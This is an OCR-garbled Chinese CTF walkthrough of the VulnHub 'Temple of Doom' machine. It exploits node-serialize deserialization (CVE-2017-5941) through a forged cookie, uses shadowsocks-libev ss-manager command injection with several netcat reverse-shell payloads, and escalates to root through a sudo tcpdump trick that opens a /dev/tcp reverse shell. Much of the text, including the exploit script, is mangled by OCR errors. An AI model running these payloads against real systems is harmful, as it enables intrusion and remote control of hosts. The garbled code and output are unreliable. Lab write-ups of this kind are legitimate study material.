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Request

Raw | Headers | Hex

Response

Raw | Headers | Hex | Render

GET / HITP/1.1

Host: 192.168.101.26: 666

User—Agent: Wozilla/5.0 (Windows NT 10.0: Winf4: =64: rv:94.0)
Gecko/20100101 Firefox/94.0

Accept:

text/html, application/zhtml+xnl, application/=nl;q=0. 9, inage/avif, inage/
webp, #/*, g=0. 8

Accept-Language:

zh-CN, zh;q=0. &, zh~TW; g=0. 7, zh-HK ; g=0. 5, en-US ; g=0. 3, en, g=0. 2
Accept-Encoding: gzip, deflate

Commection: close

Upgrade-Insecure-Requests: 1

HITP/1.1 200 OK

X-Powered-By: Express

Set-Cookie:

profile=ey]1c2VybmFtISI6TkFkbWluliwiY3iyInfva2Vul joid THydDRVHIRIN2 dnlNDMx: InMzNG dnZGdjabp 3bhnphMGws
TiwiRXhwaX]1ez010kZyaliRhe Swgh THg T2H0TD Twh T ggMDAGHD AGMDAzRO1UTn0%3D ;. Max—Age=900; Path=/:
Expires=5Sun, 28 Nowv 2021 09:04:58 GNT; HttpOnly

Content—Type: text/htnl; charset=utf-8

Content—Length: 36

ETag: W/"24-xWt3IUP3GfGhHraPpYSEGPpclizA”

Date: Sun. 28 Nov 2021 08:49:58 GMT

Commection: close

Under Construction, Come Back Later!
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http://192.168.101.26:666
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DymeEres @ HiFrth D=Amt O =5EsE

SyntaxError: Unexpected token F in J50N at position 79
at JS5CN.parse (<anonymousy)
at Cbject.exports.unserialize (/home/nodeadmin/.web/node modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29
at Layer.handle [as handle request] (/home/nodeadmin/.web/node modules/express/lib/router/layer.js:35:5)
at next (/home/nodeadmin/.web/node modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/nodeadmin/.web/node _modules/express/lib/router/route.js:112:3)
at Layer.handle [a= handle request] (/home/nodeadmin/.web/node modules/express/lib/router/layer.js:95:5)
at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
at Function.process params (/home/nodeadmin/.web/node modules/express/lib/router/index.js:335:12)
at next (/home/nodeadmin/.web/node modules/express/lib/router/index.js:275:10)

burpUE 175 3R A S i S

GET / HTTP/1.1

Host: 192,168,101, 26: 666

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:04.0) Gecke/20100101 Firefox/94.0
Accept: text/html, application/xhtml+xnl, application/=ml;q=0.9, inage/avif, inage/webp, #/+;q=0. 8
Accept-Language: zh-CN, zh:q=0. 8, zh-TW:;q=0. 7. zh-HK: q=0. 5, en—US; g=0. 3, en; g=0. 2

Accept-Encoding: gzip, deflate

Commection: close

Upgrade—Insecure-Requests: 1

Cookie: profile=ey]lc2VybmFtISI6LEFkbWluliwi¥3NyInRvaZiVuljo1dIMydDRIERNE dnlDM: InMzlG dnGd jaGp ShnphMGwd I1wi Rihwa] 12010k Zyalfhe Swel THg T2NOIDIwhT gg MDAGMDASHD R0 1}}};‘[[ “TSpF =
- LM =L

HITP/1.1 500 Internal Server Error
X-Powered-Byv: Express
Content—Security—Policy: default-src ~self’
¥-Content—Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 1155

Date: Sun, 28 Nowv 2021 08:50:33 GNT
Comnection: close

<!DOCTYPE himl:

<html lang="en">
<head>

‘meta charset="utf-§">
<titlerBrroxr</title>
</head>

<hody:
<prerSyntaxBError: Unexpected token F in JSON at position 79<br> &nbsp; &nbsp;at JSON.parse (&1t ;anocnymouskgt;)<br> &nbsp: &nbsp:at
Object. exports. unserialize (/home/nodeadmin/.web/node_modules/node—serialize/lib/serialize. js: 62: 16)<br> &nbsp: &nbsp:at
/home/nodeadmin/. web/server. js: 12: 28<hr> &nbsp: &nbsp:at Laver.handle [as handle_request]

(/home/nodeadmnin/. web/node_modules/express/lib/router/laver. js: 95:5) <hr> &nbsp: &nbsp:at next

(/home/nodeadmin/. web/node_modules/express/lib/router/route. js: 137: 13) <br> &nbsp: &nbsp:at Route. dispatch

(/home/nodeadmin/. web/node_modules/express/lib/router/route. js: 112:3) <br> &nbsp; &nbsp;at Layver. handle [as handle_request]
(/home/nodeadnin/. web/node_modules/express/lib/router/laver. js: 95:5)<br> &nbsp: &nbsp:at

/home/nodeadmin/. web/node_modules/express/lib/router/index. js: 281:22<br> &nbsp: &nbsp:at Function.process_params
(/home/nodeadnin/. web/node_modules/express/lib/router/index. js:335:12)<br> &nbsp: &nbsp:at next

(/home/nodeadnin/. web/node_modules/express/lib/router/index. js: 275: 10) </pre>

</body> [
</htul> -k
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Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIljoidTMydDRvVM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGwIIiw

profilef{J B Jeurlfiiy, Fibase64ffid, 534N T4k R

{"username":"Admin", "csrftoken":"u32t403tb3gg431fs34ggdgchjwnzael=", "Expires=":Friday, 13 Oct 2018 ©0:00:00

AJ LA 2 "Expires=":FridayixX H {45 sUAS,  SOs b 1A =X

{"username" :"Admin", "csrftoken":"u32t403tb3gg431fs34ggdgchjwnza@l=","Expires":"Friday, 13 Oct 2018 00:00:00



i 1Tbase644mib 2 J5, TEburpftirepeatert & ftrequestiii L A profilef, FHEATIRSCHEGL, R [FEILERA
FEARAS, 12 2oR"Hello Admin“, 3R B3R SCH A A H B T2

Request Response

jRaw T Params I Headers | Hex jRaw T Headers | Hex | Render ]

GET / HTTR/1.1 A HTTP/1.1 200 OK

Host: 192.168.101. 26: 666 2 X-FPowered-By: Express

User-Agent: Mozilla/53.0 (Windows NT 10.0; Win64; =64; rv:94.0) Gecko/20100101 Content—Type: text/html; charset=utf-8
Firefox/04.0 Content—Length: 11

hecept: ETag: W/ "b-GWIEb4jozaEblagpBlbdbhMizgtl”
text/html, application/zhtml+znl, application/=ml; g=0. 9, inage/avif, inage,/webp, */%q=0 Date: Sun. 28 Nov 2021 11:57:08 GMT

.8 Comnection: clese

Accept-Language: zh-CN, zh;g=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en—US ;g=0. 3, en: g=0. 2

Accept—Encoding: gzip, deflate Helleo Admin

Commection: clese

Upgrade-Insecure-Requests: 1

Cookie:

profile=ey]1lc2VybnFtISIGIEFELWIuliwiY30vInRvalVul joid My dDRvHSEL N2 dnliDix= IntzNG dnZGd;
abp 3bnphMewdTiwiEihwai] 1oy 161k ZvaWEhe SwgHINg TZNOID IwM T g g HDAGHDAGHD AgRO1UIn0=

CSDN @il %
dirbfA 4 H s I n_E E# ¥ cookie, A58 HiAN 45

dirb http://192.168.101.26:666 /usr/share/dirb/wordlists/big.txt -c "profile=eyJ1lc2VybmFtZSI6IkFkbWluIiwiY3

A 1%4. F)F CVE-2017-5941(Node.js % 5 %11k )getshell
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2] 1 — T CVE-2017-5941 1) J AR F 7715 CVE-2017-5941: | HINode.js 5 J7 #II AL AT L A4S - = +4E
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SR J5 (Eexploit-db_E % 2] —A~.py 34
Node.JS - 'node-serialize' Remote Code Execution (2) - NodeJS webapps Exploit

AR IR LR R B, AR EB SO PR =07, 58— MENRZ B s, 55— MHE A E Sip At HEOA BB
ip TG L W 11, 55 = ME N {2 cookie Ak IE# Hprofileftl. (el 2 > AE iz 111" Hello Admin® ()

# Exploit Title: Node.J5S - 'mode-serialize' Remote Code Execution (2)
# Exploit Ruthor: UndeadLarva

# Software Link: https:
# Version: 0.0.4

# CVE: CVE-2017-59%41

import reguests
import re
import base64d
import sys

Iurl = 'http://192.168.101.26:666" |# change this

payload = e('http') .ServerResponse.prototype.end = (functior

, '"error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket)):"

3 0>51');"|# change this

"}) (require ("http') .ServerResponse.prototype.end) ")

# rce =
# code
code =

" $SND FUNCS$ process.exit(0)"
55 console.log('behind you')"
+ payload

I string = '"{" ":"Admin"™, "csrftoken":"u32t403tkb3gg431fs34ggdgchjwnzall=", "Expires":"Friday, 13 Oct 2018 00:00:00 GMT", "exec": "'+code+'"}'

cookie = {'profile':basef4.bé4encode(string)}

try
T response = regquests.get(url, cookies=cookie).text
print response
except reguests.exceptions.RequestException as e:
print('Cops!")
sys.exit(l - A
¢ ) CSDN @5

1
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nc -lvp 2333

PAT AN py CAF

python2 CVE-2017-5941.py
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bash: cannot set terminal process group (! ): Inappropr e i | for device
bash: no job control in this shell
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chmod 744 linpeas.sh

P ATlinpeas.sh

./linpeas.sh

RGeSt 2455, thindfEEICVE G 1 highly probableft) i mi )

Possible Exploits:
[+] [CVE-2018-18955] subuid_shell
ils: https gs. omium.org/p/ ro/issues/detail?id=1712

sure: highly
ubuntu=

Download URL: https
4 in-sploit z
Comments: CONFIG_USER_NS needs to be enabled

5] sudo Baron Samedit

v . qualys.com/

https: A
rflow-sudo.txt
less probable
centos=6|7

i G R 2, vl LLE B 7 RATIEE ) shell i1 FH F nodeadminf1 3k A 148 % 4 ffiroot,  i& 45 fireman,
TS 2w P SRR O, W] LR A i

in: /bin/bash
eadmin: /bin/bash
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Interesting Files

SUID - Check easy privesc, exploits and write perms

root root 41K Feb : @18 fusr/sbin/userh
root root Fe 8 /usr/sbin/pam_t mp_ch
root root

bin/usernetctl

18 Jusr/libexec

7 /usr/libexec/dbus-1(db[Ni{G

S HR6: ERHAB AR



sudo-l& T —TF, EmS

[nodeadmin@localhost ~]$ sudo -1
sudo -1

sudo: no tty pr
[nodeadminalo

T E firemantE W B

find / -name "*fireman*" 2>/dev/null

-name "+fireman+" 2>/dev/null
null

fireman

host ~1%

~1% cd /home/fireman

Permission denied

N @iz

W—F A EA 1 2fireman 17

find / -type f -name "*" |xargs grep -ri "fireman" 2>/dev/null

ZUAE LN LR SRR (relocal 2 TTHLINECSCE) , BRAE RN Z 2 & 1)

/bin/ss-ma

wome/fireman:/bin/bash

ps -aux | grep ss-manager

WA, s E

@:00 su fireman -

a 991 .8 0.0
-4ufo SS-manager

WIRT: | H ss-managerdiy 2 $47 I 15 2 firemanft) Jx 3 shell
exploit-dbHH 2% N 26 &rss-manager (), R0 NS5, Z0HE B 580



Exploit Database Advanced Search

Title

CVE Type Platform Port
‘ Title ‘ ‘ 2021-1234 ‘ | v‘ ‘ v‘ ‘ ~
Content Author Tag
| [ | .
‘7‘ Verified ‘7‘ Has App ‘7‘ No Metasploit
Shuw| 15 v‘
Date ¥ D A Title Type Platform Author
2019-12-05 * ~/  Broadcom CA Privilged Access Manager 2.8.2 - Remote Command Execution webapps Windows Peter Lapp
2017-10-17 .4 o I X shadowsocks-libev 3.1.0 - Command Execution local Linux X471 D-Sec GmbH
2014-12-23 * X NetlQ Access Manager 4.0 SP1 - Multiple Vulnerabilities webapps Jsp SEC Consult
2014-02-05 3 X IBM Business Process Manager - User Account Reconfiguration webapps Windows 0Oin
2011-02-23 3 ~  WordPress Plugin ComicPress Manager 1.4.9 - lang’ Cross-Site Scripting webapps PHP AutoSec Tools

Showing 1 to 5 of 5 entries

shadowsocks-libev 3.1.0 - Command Execution - Linux local Exploit

RUkE T _Elipoc, 2% 7 R MRwp, SMINE CER

Temple of Doom 1: CTF Walkthrough Part 2 - Infosec Resources

No.25-VulnHub-Temple of Doom: 1-Walkthroughizi% % >] K 4xxiyoul) {8 % -CSDN# %

UG TRt TN

nc -lvp 3333

Sifishelltig A

nc -u 127.0.0.1 8839

PAE e shelltim A

CSON @ES:
erevious () CROH @I E

add: {"server_port":8003, "password":"test", "method":"||nc 192.168.101.25 3333 -e /bin/bash]||"}

KBRS —E B INE R TS, N LT IRE #5 R#RE hoOE S, BRI T 4 LIk


https://www.exploit-db.com/exploits/43006
https://resources.infosecinstitute.com/topic/temple-of-doom-1-ctf-walkthrough-part-2/
https://blog.csdn.net/qq_34801745/article/details/104061415

"method”: " || touch

"method”: " || touch

"method”: " || touch

“method”:" || nc -e /bin/sh 192.16
“method”:" || nc -e /bin/bash 192.
“method”:" || nc -e /bin/sh 192.16
“method”:" || nc -e /bin/sh 192.16

“method”:" || nc 192.168.101.25 33

"method”:" || nc 192.168.1081.25

CSDN_ @1l %z

MsEIX N A )5, Bia3] T firemanft) s ishell

Host name Ip
connect tc 3 - : ) [192.168.101.26] 5
id
uid= ! . (fireman)

Sz ifishell i A

python -c 'import pty; pty.spawn("/bin/bash")’

I a U dshell

listenin 1 Ny
1 168 inverse host look i : Host
connect to 2.168.101.25] from (UNK [192.1

id

5 1%8: sudo tcpdumpii AL

sudo & —F, KIifiremann] PALE A N0 11500 sudo =14



[fireman@localhost root]$ sudo -1
sudo -1
Matching Defaul entrie or on loc
Iyvisibl : : env_Kk COLORS ZE
: QTDIR RNAME LANG LC_ADDRE
IDENTIFICATION LC_MEASUREMENT
MES ' Y _PAPER
C_TELEPHONE", XKB_CHARSET
THORITY",
secure_path=/usr/local/sbin:/usr/local/bin\:/usr/sbin\: /usr/bin%:/sbink:
/bin

run_tho following commands on localhost:

RIS a2 #2242, tepdump ] A4, 225 GTFOBIns i 1 i) payload

tcpdump | GTFOBIns
COMMAND 1] P4 7545 1%,

/bin/bash -i >& /dev/tcp/192.168.101.25/5555 0>&1

HAARYE, Ho%, Bubibl b KT 55555 H

nc -lvp 5555

SR 5 firemanit [ shell P AR Y N0 R fir 4

[fireman@localhost ~]$ COMMAND='/bin/bash -i >& /dev/tcp/192.168.101.25/5555 0>&1"'
[fireman@localhost ~]$ TF=$(mktemp)

[fireman@localhost ~]$ echo "$COMMAND" > $TF

[fireman@localhost ~]$ chmod +x $TF

[fireman@localhost ~]$ sudo tcpdump -1n -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

KR, AT LS, EHEmMAC+CIRE, 1B H 2 J574 R813 Flrooti S iishell. ik o X FEFR
IEANFNIE, WRA RMFIIE, BAFGH

1

echo "$COMMAND" > §$TF

chmod +x $TF

sudo tcpdump -1n -i lo -w v/null -W 1 -G 1 -z $TF -

fdev/null -W 1 -G 1 -z $TF -Z root
on lo, link-type EN1@MB (Ethernet), captur

Ctri+CiEH 2 J5, 3340 Frootf) x#shell, Is-alF—T, A Mlag.txt 14


https://gtfobins.github.io/gtfobins/tcpdump/

192.168.101
ect to [1
cannot

o job contr in this shell
lhost ~Ht id

) gid
\Lhost

STWer T —

flagii 7i-flag.txt

cat flag.txt

flag/ekreOcudjl4rzjicpo1i7z5I11

FLAG: Bcubdjlirzjicpolivzsll

[+] Congratulations on completing this VM & I hope you enjoyed my first boot2
root.

[+] You can follow me on twitter: @

[+] Thanks to the homie: @Pink_P4nther
[root@localhost ~Ft ]
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